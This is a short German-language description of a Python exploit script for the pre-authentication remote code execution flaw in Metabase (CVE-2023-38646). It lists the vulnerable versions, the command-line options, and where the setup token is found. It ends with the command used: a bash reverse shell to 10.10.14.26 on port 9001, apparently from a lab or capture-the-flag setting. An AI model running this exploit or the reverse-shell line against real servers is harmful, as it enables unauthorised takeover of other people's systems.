
Exploit-Skript für Pre-Auth-RCE in Metabase (CVE-2023-38646)
Dies ist ein Python-Skript, das die Remote-Code-Ausführungssicherheitslücke der Anmeldesoftware von Metabase ausnutzt. Es ermöglicht uns, vor der Authentifizierung beliebige Befehle auf dem Server auszuführen.
Die anfälligen Versionen sind Metabase Open Source vor 0.46.6.1 und Metabase Enterprise vor 1.46.6.1
python3 exploit.py -u URL -t TOKEN -c COMMAND
-h, --help show this help message and exit
-u URL, --url URL Target URL
-t TOKEN, --token TOKEN
Setup-Token found in /api/session/properties
-c COMMAND, --command COMMAND
Command to be executed in the target host

Verwendeter Befehl: bash -i >& /dev/tcp/10.10.14.26/9001 0>&1